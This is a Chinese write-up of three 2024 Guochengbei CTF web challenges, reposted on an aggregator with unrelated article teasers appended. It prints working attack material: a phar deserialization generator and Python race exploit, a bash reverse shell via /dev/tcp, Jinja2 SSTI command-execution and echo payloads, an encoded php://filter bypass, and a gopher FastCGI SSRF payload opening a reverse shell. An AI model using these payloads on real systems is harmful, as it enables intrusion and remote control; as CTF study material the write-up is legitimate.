2024国城杯 Web

news2024/12/29 6:19:30

这四道题目Jasper大佬都做了镜像可以直接拉取进行复现
https://jaspersec.top/2024/12/16/0x12%20%E5%9B%BD%E5%9F%8E%E6%9D%AF2024%20writeup%20with%20docker/

n0ob_un4er

这道题没有复现成功, 不知道为啥上传了文件, 也在 /tmp目录下生成了sess_PHPSESSID的文件, 但是就是无法写入内容, 文件的内容一直都是空白, 也直接用python的脚本一键运行, 显示了恶意phar已copy到/tmp/tmp.tmp , 但依旧没啥用, 搞不明白, 所以仅记录了解一下整个的一个过程, 加深了解session文件的利用

<?php
$SECRET  = `/readsecret`;
include "waf.php";
class User {
    public $role;
    function __construct($role) {
        $this->role = $role;
    }
}
class Admin{
    public $code;
    function __construct($code) {
        $this->code = $code;
    }
    function __destruct() {
        echo "Admin can play everything!";
        eval($this->code);
    }
}
function game($filename) {
    if (!empty($filename)) {
        if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {
            echo "Well done!";
        } else {
            echo "Copy failed.";
        }
    } else {
        echo "User can play copy game.";
    }
}
function set_session(){
    global $SECRET;
    $data = serialize(new User("user"));
    $hmac = hash_hmac("sha256", $data, $SECRET);
    setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
function check_session() {
    global $SECRET;
    $data = $_COOKIE["session-data"];
    list($data, $hmac) = explode("-----", $data, 2);
    if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {
        die("hacker!");
    }
    $data = unserialize($data);
    if ( $data->role === "user" ){
        game($_GET["filename"]);
    }else if($data->role === "admin"){
        return new Admin($_GET['code']);
    }
    return 0;
}
if (!isset($_COOKIE["session-data"])) {
    set_session();
    highlight_file(__FILE__);
}else{
    highlight_file(__FILE__);
    check_session();
}

无法直接通过session-data伪造admin身份进行命令执行( 因为使用了hmac-sha256签名算法, 且无法获取到$SECRET, )

开始能用的就是只有copy, 而copy是可以使用phar伪协议的, 只有能够反序列化Admin类就可以RCE, 所以要想到是利用phar打反序列化

phar反序列化需要有文件上传的点, 这里没有, 但可以将phar编码为字符串进行写入到文件里面去

所以需要找一个可控的文件, 一般可控的文件有临时文件, 日志文件, session文件, 但这里设置了open_basedir, 也就无法利用日志文件
临时文件无法知道文件名, 也无法利用, 所以这里可用的就是session文件了, 并且这里php版本为7.2,这个版本就算不开启session,只要上传了文件,并且在cookie传入了PHPSESSID,也会生成临时的session文件

最终思路:
上传文件, 然后在session的临时文件上写入编码后的phar文件, 然后利用filter伪协议将phar文件的内容还原写到 /tmp/tmp.tmp文件中, 最后利用phar伪协议解析, 触发反序列化进行 RCE

上传文件: php upload process可以在/tmp下生成部分内容可控的sess_<sessionid>文件
要有 PHPSESSID

在这里插入图片描述

在这个session文件里面开头都会存在 upload_proccess_

利用到php exit死亡绕过的知识点, 将不可控的部分消除掉
可控内容之前的upload_process_字段,添加aaaaaa后,三次base64即可置空

在这里插入图片描述

可控内容之后,用string.strip_tags过滤器可以全部清除掉,只需在可控部分之后加个<即可

最终payload构造:: aaaaaa+base64_encode(base64_encode(base64_encode(payload))) + <

这个payload是用于放在文件上传的PHP_SESSION_UPLOAD_PROGRESS下的内容

payload触发:

?filename=php://filter/string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/[PHPSESSID]

到这里就实现了/tmp/tmp.tmp任意写

然后要构造phar文件内容

<?php
    class Admin{
        public $code;
        function __construct($code) {
            $this->code = $code;
        }
    }
    @unlink("exp.phar");
    $phar = new Phar("exp.phar");                  // 后缀名必须为 phar,生成之后可以修改
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");  // 设置stub
    $o = new Admin("system(' bash -c \"bash -i >& /dev/tcp/*.*.*.*/9999 0>&1\"');");
    $phar->setMetadata($o);                         // 将自定义的 meta-data 存入 manifest
    $phar->addFromString("jasper", "123");       // 添加要压缩的文件
                                                    //签名自动计算
    $phar->stopBuffering();

    $pharContent = file_get_contents('exp.phar');
    $b64 = base64_encode(base64_encode(base64_encode($pharContent)));
    print("bbbbbb".$b64.htmlspecialchars('<'));
?>

python脚本

import io
import requests
import threading
import time

sessid = 'jasper1'
# url = 'http://127.0.0.1:8888/index.php'
url = "http://125.70.243.22:31293/index.php"
## read flag
phar_payload = "bbbbbbVUVRNWQyRklRV2RZTVRsSlVWVjRWVmd3VGxCVVZrSktWRVZXVTB0RGF6ZEpSRGdyUkZGd2RFRkJRVUZCVVVGQlFVSkZRVUZCUVVKQlFVRkJRVUZCTlVGQlFVRlVlbTh4VDJsS1FscEhNWEJpYVVrMlRWUndOMk42YnpCUGFVcHFZakpTYkVscWRIcFBha2w1VDJsS2VtVllUakJhVnpCdlNuazVlVnBYUm10ak1sWnFZMjFXTUVwNWF6ZEphblE1UW1kQlFVRkhjR2hqTTBKc1kyZE5RVUZCUkU5d01WSnVRWGRCUVVGT1NtcFRTV2t5UVZGQlFVRkJRVUZCUkVWNVRTOWtkbll5V1hoSE5GaE9jRXBPTHpWWmFFWlBXRGx4ZUdFMGMwRm5RVUZCUldSRFZGVkpQUT09<"
# reverse shell
# phar_payload = "bbbbbbVUVRNWQyRklRV2RZTVRsSlVWVjRWVmd3VGxCVVZrSktWRVZXVTB0RGF6ZEpSRGdyUkZGeFdFRkJRVUZCVVVGQlFVSkZRVUZCUVVKQlFVRkJRVUZDYWtGQlFVRlVlbTh4VDJsS1FscEhNWEJpYVVrMlRWUndOMk42YnpCUGFVcHFZakpTYkVscWRIcFBhbGt3VDJsS2VtVllUakJhVnpCdlNubENhVmxZVG05SlF6RnFTVU5LYVZsWVRtOUpRekZ3U1VRMGJVbERPV3RhV0ZsMlpFZE9kMHg2UlhoT2FUUXlUV2swZWs5RE5ETk5VemcxVDFSck5VbEVRU3RLYWtWcFNubHJOMGxxZERsQ1owRkJRVWR3YUdNelFteGpaMDFCUVVGRFVqRnNVbTVCZDBGQlFVNUthbE5KYVRKQlVVRkJRVUZCUVVGRVJYbE5lV2xOVG5GMGFFaElOMmhyT0Uxa1EwZFJjM2hGY1hORE1XZDBRV2RCUVVGRlpFTlVWVWs5<"

# 全局事件,用于协调线程退出
stop_event = threading.Event()

def write_session_file(session):
    while not stop_event.is_set():
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            url,
            data={"PHP_SESSION_UPLOAD_PROGRESS": phar_payload},
            files={"file": ('q.txt', f)},
            cookies={'PHPSESSID': sessid}
        )

def copy_to_tmp(session):
    payload = "?filename=php://filter/string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/sess_" + sessid
    while not stop_event.is_set():
        res = requests.get(url + payload, cookies=session.cookies)
        if "Well done!" in res.text:
            print("[+] 恶意phar已copy到/tmp/tmp.tmp ...")
        else:
            print("[-] 拷贝失败!")
        if "flag" in res.text or "D0g3xGC" in res.text:
            stop_event.set()  ## 设置退出事件
            break

def unser_phar(session):
    payload = "?filename=phar:///tmp/tmp.tmp/jasper"
    while not stop_event.is_set():
        res = requests.get(url + payload, cookies=session.cookies)
        if "flag" in res.text or "D0g3xGC" in res.text:
            print(res.text)
            print("[+] 利用成功!")
            stop_event.set()  ## 设置退出事件
            break

session = requests.Session()

# 创建并启动线程
write_thread = threading.Thread(target=write_session_file, args=(session,))
write_thread.daemon = True
write_thread.start()

copy_thread = threading.Thread(target=copy_to_tmp, args=(session,))
copy_thread.daemon = True
copy_thread.start()

unser_thread = threading.Thread(target=unser_phar, args=(session,))
unser_thread.daemon = True
unser_thread.start()

# 主线程保持活跃,等待子线程结束
while not stop_event.is_set():
    time.sleep(1)


Ez_Gallery

admin/123456登录进去

任意文件读取, 读取源码 app.py

import jinja2
from pyramid.config import Configurator
from pyramid.httpexceptions import HTTPFound
from pyramid.response import Response
from pyramid.session import SignedCookieSessionFactory
from wsgiref.simple_server import make_server
from Captcha import captcha_image_view, captcha_store
import re
import os


class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password


users = {"admin": User("admin", "123456")}


def root_view(request):
    # 重定向到 /login
    return HTTPFound(location='/login')


def info_view(request):
    # 查看细节内容
    if request.session.get('username') != 'admin':
        return Response("请先登录", status=403)

    file_name = request.params.get('file')
    file_base, file_extension = os.path.splitext(file_name)

    if file_name:
        file_path = os.path.join('/app/static/details/', file_name)
        try:
            with open(file_path, 'r', encoding='utf-8') as f:
                content = f.read()
                print(content)
        except FileNotFoundError:
            content = "文件未找到。"
    else:
        content = "未提供文件名。"

    return {'file_name': file_name, 'content': content, 'file_base': file_base}


def home_view(request):
    # 主路由
    if request.session.get('username') != 'admin':
        return Response("请先登录", status=403)

    detailtxt = os.listdir('/app/static/details/')
    picture_list = [i[:i.index('.')] for i in detailtxt]
    file_contents = {}

    for picture in picture_list:
        with open(f"/app/static/details/{picture}.txt", "r", encoding='utf-8') as f:
            file_contents[picture] = f.read(80)

    return {'picture_list': picture_list, 'file_contents': file_contents}


def login_view(request):
    if request.method == 'POST':
        username = request.POST.get('username')
        password = request.POST.get('password')
        user_captcha = request.POST.get('captcha', '').upper()

        if user_captcha != captcha_store.get('captcha_text', ''):
            return Response("验证码错误,请重试。")

        user = users.get(username)
        if user and user.password == password:
            request.session['username'] = username
            return Response("登录成功!<a href='/home'>点击进入主页</a>")
        else:
            return Response("用户名或密码错误。")

    return {}


def shell_view(request):
    if request.session.get('username') != 'admin':
        return Response("请先登录", status=403)

    expression = request.GET.get('shellcmd', '')
    blacklist_patterns = [
        r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\..*', r'.*soft.*', r'.*%.*'
    ]

    if any(re.search(pattern, expression) for pattern in blacklist_patterns):
        return Response('wafwafwaf')

    try:
        result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
        if result is not None:
            return Response('success')
        else:
            return Response('error')
    except Exception as e:
        return Response('error')


def main():
    session_factory = SignedCookieSessionFactory('secret_key')

    with Configurator(session_factory=session_factory) as config:
        config.include('pyramid_chameleon')  # 添加渲染模板
        config.add_static_view(name='static', path='/app/static')
        config.set_default_permission('view')  # 设置默认权限为view

        # 注册路由
        config.add_route('root', '/')
        config.add_route('captcha', '/captcha')
        config.add_route('home', '/home')
        config.add_route('info', '/info')
        config.add_route('login', '/login')
        config.add_route('shell', '/shell')

        # 注册视图
        config.add_view(root_view, route_name='root')
        config.add_view(captcha_image_view, route_name='captcha')
        config.add_view(home_view, route_name='home', renderer='home.pt', permission='view')
        config.add_view(info_view, route_name='info', renderer='details.pt', permission='view')
        config.add_view(login_view, route_name='login', renderer='login.pt')
        config.add_view(shell_view, route_name='shell', renderer='string', permission='view')

        config.scan()
        app = config.make_wsgi_app()

    return app


if __name__ == "__main__":
    app = main()
    server = make_server('0.0.0.0', 6543, app)
    server.serve_forever()

黑名单:

blacklist_patterns = [
        r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\\..*', r'.*soft.*', r'.*%.*'
    ]

没有回显, 需要一些方法去拿到回显

官方wp:

{{cycler.__init__.__globals__. __builtins__['exec']
("request.add_response_callback(lambda request, response: setattr(response, 'text',__import__('os').popen('whoami').read()))",{'request': request})}}

过滤了点 ., 需要绕过, 用[ ] 绕过
以及用getattr 绕过 request.add_response_callback ==> getattr(request,'add_response_callback')

{{cycler['__init__']['__globals__']['__builtins__']['exec']("getattr(request,'add_response_callback')
(lambda request,response:setattr(response,'text',getattr(getattr(__import__('os'),'popen')('whoami'),'read')()))",{'request':request})}}

其他大佬的方法:

{{cycler['__init__']['__globals__']['__builtins__']
['setattr'](cycler['__init__']['__globals__']['__builtins__']['__import__']
('sys')['modules']['wsgiref']['simple_server']
['ServerHandler'],'http_version',cycler['__init__']
['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']())}}

Jinja2-SSTI 新回显方式技术学习

从这道题目去学习了一下Jinja2-SSTI 新回显方式技术

环境搭建

app.py

from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)

@app.route('/', methods=["POST"])
def template():
        template = request.form.get("code")
        result=render_template_string(template)
        print(result)
        if result !=None:
            return "OK"
        else:
            return "error"

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=8000)
flask中的Server头回显

响应包里面的server头打印了Werkzeug和python的版本号, 可以利用它的值进行回显

在这里插入图片描述

大佬们的文章分析的很清楚, Server头的值是从self.version_string()出来的,而 version_string方法,其实就是直接将server_version属性和sys_version属性拼接在一起的

以属性的方式存放于类中, 那么就可以通过一些赋值的方式将我们的代码或者是命令执行的回显放在这个这个属性中, 从而随着请求头的send, 我们需要的回显就会出现在响应包里面

但是 WSGIRequestHandlerserver_version其实是方法

class WSGIRequestHandler(BaseHTTPRequestHandler):

    server: BaseWSGIServer

    @property
    def server_version(self) -> str:  # type: ignore
        return self.server._server_version

是一个方法而不是属性, 好像无法通过利用 setattr 这种去进行赋值(因为lambda匿名函数表达式不被jinja2引擎解析)
但是它前面又有一个 @property ==> 它把方法包装成属性,让方法可以以属性的形式被访问和调用
所以我们可以直接给他赋str类型的值

关键是需要调用到 werkzeug.serving.WSGIRequestHandler 类, 使用 setattr 控制它的server_version属性的值

payload

{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}

# 这里的g是 flask 提供的一个全局变量
# sys 模块的 modules 属性以字典的形式包含了程序自开始运行时所有已加载过的模块, 从这里获取所需要的werkzeug模块, 从而获取到WSGIRequestHandler 对象

在这里插入图片描述

同理也可以换成 sys_version

在这里插入图片描述

HTTP协议回显

看到 send_response 方法

def send_response(self, code, message=None):
"""Add the response header to the headers buffer and log the
response code.

Also send two standard headers with the server software
version and the current date.

"""
self.log_request(code)
self.send_response_only(code, message)
self.send_header('Server', self.version_string())
self.send_header('Date', self.date_time_string())

发送一些信息, 其实就是回显包里面的那些信息,
看到 send_response_only 方法

def send_response_only(self, code, message=None):
"""Send the response header only."""
if self.request_version != 'HTTP/0.9':
    if message is None:
        if code in self.responses:
            message = self.responses[code][0]
        else:
            message = ''
    if not hasattr(self, '_headers_buffer'):
        self._headers_buffer = []
    self._headers_buffer.append(("%s %d %s\r\n" %
            (self.protocol_version, code, message)).encode(
                'latin-1', 'strict'))

在这里插入图片描述

可以看到这三个值都是页面上回显的值, 那么只要能够控制他们的值, 就可以得到我们想要的回显了

首先 protocol_version 它是 werkzeug.serving.WSGIRequestHandler 里面的一个属性,
所以需要获取到WSGIRequestHandler 对象
sys 模块的 modules 属性以字典的形式包含了程序自开始运行时所有已加载过的模块,可以直接从该属性中获取到目标模块

而获取sys模块的方式有很多种, 可以从__spec__的全局变量中获取

{{lipsum.__spec__.__init__.__globals__}}

在这里插入图片描述

最终获取 WSGIRequestHandler 对象里面的 protocol_version 属性

{{lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler.__dict__}}

在这里插入图片描述

然后就是使用 setattr 方法控制 protocol_version 属性的值

payload

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo xpw').read())}}

在这里插入图片描述参考文章:
https://xz.aliyun.com/t/15780?time__1311=GqjxnQGQDQO4l6zG7DyDI2DfosHKwd43x

https://xz.aliyun.com/t/15994?time__1311=GqjxcD2DnAY4lxGghDyDIg8QrbCACEioD%#toc-7

signal

网站进去一个登录框, dirsearch扫一下目录
有一个/.index.php.swp

最近我朋友让我给他注册个账号,还想要在他的专属页面实现查看文件的功能。好吧,那就给他创个guest:MyF3iend,我是不可能给他我的admin账户的

拿到一个账号密码: guest:MyF3iend

登录进去, 观察到它的 url

在这里插入图片描述

存在一个任意文件读取漏洞, 因为之前扫目录可用扫到一个 admin.php ,直接读取会跳转到 index.php, 说明被执行了, 所以这里可以猜测是用了include函数来包含的 , 需要使用php伪协议绕过一下读取源码, 但是也过滤了挺多, 二次编码一下绕过

?path=php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=admin.php

读取到admin.php

<?php
session_start();
error_reporting(0);

if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
    $_SESSION['error'] = 'Please fill in the username and password';
    header("Location: index.php");
    exit();
}

$url = $_POST['url'];
$error_message = '';
$page_content = '';

if (isset($url)) {
    if (!preg_match('/^https:\/\//', $url)) {
        $error_message = 'Invalid URL, only https allowed';
    } else {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        $page_content = curl_exec($ch);
        if ($page_content === false) {
            $error_message = 'Failed to fetch the URL content'.curl_error($ch);
        }
        curl_close($ch);
    }
}
?>

读一下guest.php, 存在waf的内容

<?php
session_start();
error_reporting(0);

if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'guest' ) {
    $_SESSION['error'] = 'Please fill in the username and password';
    header('Location: index.php');
    exit();
}

if (!isset($_GET['path'])) {
    header("Location: /guest.php?path=/tmp/hello.php");
    exit;
}

$path = $_GET['path'];
if (preg_match('/(\.\.\/|php:\/\/tmp|string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|\_)/i', $path)) {
    echo "Don't do this";
}else{
    include($path);
}

?>

还是需要进入admin.php里面去, 需要拿到它的账号密码

在最初的登录界面那里可以发现一个 StoredAccounts.php 读取一下试试

在这里插入图片描述

StoredAccounts.php 给了admin的密码

<?php
session_start();

$users = [
    'admin' => 'FetxRuFebAdm4nHace',
    'guest' => 'MyF3iend'
];

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    if (isset($users[$username]) && $users[$username] === $password) {
        $_SESSION['logged_in'] = true;
        $_SESSION['username'] = $username;

        if ($username === 'admin') {
            header('Location: admin.php');
        } else {
            header('Location: guest.php');
        }
        exit();
    } else {
        $_SESSION['error'] = 'Invalid username or password';
        header('Location: index.php');
        exit();
    }
} else {
    $_SESSION['error'] = 'Please fill in the username and password';
    header('Location: index.php');
    exit();
}

登录admin用户, 存在一个url参数打sstf, 但是只能限定是 https, vps要https打302, 没有域名的话借助ngrok工具, 在服务器上面使用这个工具可以创建一个临时网站

ngrok: https://download.ngrok.com/linux?tab=download

用于本地服务跳转的代码:

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def indexRedirect():
    redirectUrl = 'http://[ip]/302.php'
    return redirect(redirectUrl)

if __name__ == '__main__':
    app.run('127.0.0.1', port=8080, debug=True)

ngrok用于搭建临时网站:

ngrok http 8080

在这里插入图片描述

在这里插入图片描述

将这个传入url, 可以看到内容

在这里插入图片描述

接下来就是利用工具生成payload打fastcgi

在这里插入图片描述

改一下app.py 的url

在这里插入图片描述

可以看到已经执行了命令

在这里插入图片描述

那么接下来就是反弹shell了

在这里插入图片描述

同理app.py也相应的更改:

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def indexRedirect():
    redirectUrl ='gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/[ip]/6666%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'
    return redirect(redirectUrl)

if __name__ == '__main__':
    app.run('127.0.0.1', port=8080, debug=True)

在这里插入图片描述

后面本来还有一个提权, 但是这个环境好像没有, 拿别的师傅的截图记录一下

在这里插入图片描述

sudo cat /tmp/whereflag/../../../root/flag

在这里插入图片描述

参考文章:

https://jaspersec.top/2024/12/16/0x12%20%E5%9B%BD%E5%9F%8E%E6%9D%AF2024%20writeup%20with%20docker/
https://www.cnblogs.com/Litsasuk/articles/18593334#%E5%87%BA%E9%A2%98%E5%8F%82%E8%80%83%E6%96%87%E7%AB%A0
https://www.cnblogs.com/dghh/p/18598149

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2267306.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MLLM学习过程

视频理解 SALOVA: Segment-Augmented Long Video Assistant for Targeted Retrieval and Routing in Long-Form Video Analysis 主要是用于增强对于长视频的理解。主要是讲视频进行剪切之后&#xff0c;首先判断每个剪切视频短对于文字的关联程度&#xff0c;并且将关联程度高…

MATLAB用find函数结合all,any函数高效解决问题

如本节中最后提到的问题&#xff0c;我们输出后还需要判断&#xff0c;不是特别的一目了然&#xff0c;这时候我们可以再加上 f i n d find find函数直接标记序号并输出。首先我们先来了解 f i n d find find的用法&#xff0c; f i n d ( a ) find(a) find(a)表示将矩阵或向量…

【最新】西陆房产系统源码+uniapp全开源+环境教程

一.介绍 西陆房产管理系统&#xff0c;支持小程序、H5、APP&#xff1b;包含房客、房东(高级授权)、经纪人(高级授权)三种身份。核心功能有&#xff1a;新盘销售、房屋租赁、地图找房、房源代理(高级授权)、在线签约(高级授权)、电子合同(高级授权)、客户CRM跟进(高级授权)、经…

【Halcon】例程讲解:基于形状匹配与OCR的多图像处理(附图像、程序下载链接)

1. 开发需求 在参考图像中定义感兴趣区域&#xff08;ROI&#xff09;&#xff0c;用于形状匹配和文本识别。通过形状匹配找到图像中的目标对象位置。对齐多幅输入图像&#xff0c;使其与参考图像保持一致。在对齐后的图像上进行OCR识别&#xff0c;提取文本和数字信息。以循环…

【UE5.3.2】生成vs工程并rider打开

Rider是跨平台的,UE也是,当前现在windows上测试首先安装ue5.3.2 会自动有右键的菜单: windows上,右键,生成vs工程 生成的结果 sln默认是vs打开的,我的是vs2022,可以open with 选择 rider :Rider 会弹出 RiderLink是什么插

力扣刷题:单链表OJ篇(下)

大家好&#xff0c;这里是小编的博客频道 小编的博客&#xff1a;就爱学编程 很高兴在CSDN这个大家庭与大家相识&#xff0c;希望能在这里与大家共同进步&#xff0c;共同收获更好的自己&#xff01;&#xff01;&#xff01; 目录 1.环形链表&#xff08;1&#xff09;题目描述…

如何在idea中搭建SpringBoot项目

如何在idea中快速搭建SpringBoot项目 目录 如何在idea中快速搭建SpringBoot项目前言一、环境准备&#xff1a;搭建前的精心布局 1.下载jdk &#xff08;1&#xff09;安装JDK&#xff1a;&#xff08;2&#xff09;运行安装程序&#xff1a;&#xff08;3&#xff09;设置安装…

(源码)校园闲置交易管理系统 P10111 计算机毕业设计

项目说明 本号所发布的项目均由我部署运行验证&#xff0c;可保证项目系统正常运行&#xff0c;以及提供完整源码。 如需要远程部署/定制/讲解系统&#xff0c;可以联系我。定制项目未经同意不会上传&#xff01; 项目源码获取方式放在文章末尾处 注&#xff1a;项目仅供学…

ID读卡器UDP协议Delphi7小程序开发

如下是小程序主页面&#xff1a; 代码如下&#xff1a; function isrightint(textls:string):boolean;stdcall; begintryif(strtoint(textls) 0) thenbeginend;result : True;exceptresult : False;exit;end; end; procedure TForm1.Button9Click(Sender: TObject); varsendbu…

内部类(1)

大家好&#xff0c;今天我们来学习一下内部类&#xff0c;内部类也是封装的体现&#xff0c;那么我们便来看看它的内容吧。 9、内部类 当一个事物的内部,还有一个部分需要一个完整的结构进行描述,而这个内部的完整的结构又只为外部事物提供服务,那么这个内部的完整结构最好使用…

永磁同步电机无速度算法--自适应全阶滑模观测器

一、原理介绍 提出了一种改进型全阶滑模观测器的无位置传感器控制方法。首先&#xff0c;以准符号函数作为滑模控制函数&#xff0c;达到削弱抖振和提高反电动势估计性能的目的&#xff1b;其次&#xff0c;设计与电机转速相关的自适应滑模增益&#xff0c;以避免电机转速变化…

微软远程桌面APP怎么用

微软远程桌面&#xff08;Remote Desktop&#xff09;客户端&#xff08;RD Client&#xff09;是一款由微软开发的应用程序&#xff0c;允许用户通过网络连接远程访问和控制另一台计算机。同时&#xff0c;微软远程桌面RD Client支持多种设备和操作系统&#xff0c;包括Window…

phidata快速开始

文章目录 什么是phidata主要特点 安装官方demo创建一个 Web 搜索代理 PhiData开发workflow应用ToolsAgent UI 什么是phidata github: https://github.com/phidatahq/phidata 官方文档&#xff1a;https://docs.phidata.com/introduction Phidata is a framework for building…

考研互学互助系统|Java|SSM|VUE| 前后端分离

【技术栈】 1⃣️&#xff1a;架构: B/S、MVC 2⃣️&#xff1a;系统环境&#xff1a;Windowsh/Mac 3⃣️&#xff1a;开发环境&#xff1a;IDEA、JDK1.8、Maven、Mysql5.7 4⃣️&#xff1a;技术栈&#xff1a;Java、Mysql、SSM、Mybatis-Plus、VUE、jquery,html 5⃣️数据库…

王佩丰24节Excel学习笔记——第二十三讲:饼图美化与PPT图表

【以 Excel2010 系列学习&#xff0c;用 Office LTSC 专业增强版 2021 实践】 【本章技巧】 主次坐标柱形避让&#xff0c;做成左右两条柱型图的显示&#xff1b;饼图最多只能做2层&#xff0c;超过2层要使用环型图做&#xff0c;饼图与环形图结合可以做多层&#xff0c;注意&a…

从虚拟到现实:AI与AR/VR技术如何改变体验经济?

引言&#xff1a;体验经济的崛起 在当今消费环境中&#xff0c;产品与服务早已不再是市场竞争的唯一焦点&#xff0c;能够提供深刻感知和独特体验的品牌&#xff0c;往往更能赢得消费者的青睐。这种转变标志着体验经济的崛起。体验经济不仅仅是简单的买卖行为&#xff0c;而是通…

最新SQL Server 2022保姆级安装教程【附安装包】

目录 一、安装包下载&#xff1a; 下载链接&#xff1a;https://pan.quark.cn/s/b1c0c63d61ec 二、安装SQL Server 1.下载安装包后解压出来&#xff0c;双击打开 2.等待加载安装程序 3.点击基本安装 4.点击接受 5.点击浏览 6.在D盘新建文件夹 7.命名为【Sql Server】…

【GeekBand】C++设计模式笔记17_Mediator_中介者模式

1. “接口隔离” 模式 在组件构建过程中&#xff0c;某些接口之间直接的依赖常常会带来很多问题&#xff0c;甚至根本无法实现。采用添加一层间接&#xff08;稳定&#xff09;接口&#xff0c;来隔离本来互相紧密关联的接口是一种常见的解决方案。典型模式 FacadeProxyAdapte…

腾讯音乐:说说Redis脑裂问题?

Redis 脑裂问题是指&#xff0c;在 Redis 哨兵模式或集群模式中&#xff0c;由于网络原因&#xff0c;导致主节点&#xff08;Master&#xff09;与哨兵&#xff08;Sentinel&#xff09;和从节点&#xff08;Slave&#xff09;的通讯中断&#xff0c;此时哨兵就会误以为主节点…

WebSocket实现直播弹幕滚动推送效果

WebSocket 弹幕滚动推送 WebSocket 通信协议优点实现过程详细解析1. 初始化 WebSocket 连接2. WebSocket 事件回调2.2 连接错误 (onerror)2.3 接收到消息 (onmessage)2.4 连接关闭 (onclose)3. 心跳检测机制4. WebSocket 重新连接机制5. 滚动加载和历史数据 总结代码示例 WebS…